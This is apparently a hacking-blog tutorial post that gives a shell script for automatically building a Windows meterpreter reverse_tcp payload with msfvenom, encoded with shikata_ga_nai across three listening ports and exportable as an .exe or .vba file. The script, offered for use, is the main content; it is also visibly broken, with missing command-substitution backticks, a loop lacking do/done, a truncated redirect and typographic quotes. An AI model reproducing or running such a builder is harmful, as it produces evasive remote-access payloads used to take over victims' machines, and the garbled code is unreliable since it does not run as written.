Hello everybody, and Welcome to HaCoder. Its been a while since I’ve posted any tutorial on HaCoder. Actually, HaCoder is going through tough times right now. I hope you guys will keep supporting HaCoder and we will try to post as many tutorials as we can.

So today, we are going to teach you how to create Executable Payloads Automatically.

Creating Executable Payloads Automatically:-

This script will create an executable file which it will listen in 3 different ports and it will be encoded with the Shikata Ga Nai encoder. Of course, It can also be used to create different file extensions like .vba etc automatically. You can see the source code of the script below.

Source Code:

# Simple builder
LPORTS=”4444 5555 6666″

rm -fr /tmp/msf.raw
rm -fr /tmp/msf1.raw
echo “Building…”
echo -n “Port: echo $LPORTS | cut -d " " -f 1
echo “”
msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai LHOST=$LHOST LPORT=echo $LPORTS | cut -d " " -f 1 exitfunc=thread >
for LPORT in echo $LPORTS
echo -n “Port: $LPORT”
echo “”
msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai LHOST=$LHOST LPORT=$LPORT exitfunc=thread -c /tmp/msf.raw > /tmp/msf1.raw
cp /tmp/msf1.raw /tmp/msf.raw
# Change option –f exe to –f vba in order to create a vba file
msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=$LHOST LPORT=$LPORT exitfunc=thread -c /tmp/msf1.raw > msf.exe
rm -fr /tmp/msf.raw
rm -fr /tmp/msf1.raw
echo -n “Done!”

That’s it for now. Be sure to check other cool stuff at Hacoder.

Any questions, comments or suggestions are welcomed.
Until next time, Its Webster, signing off.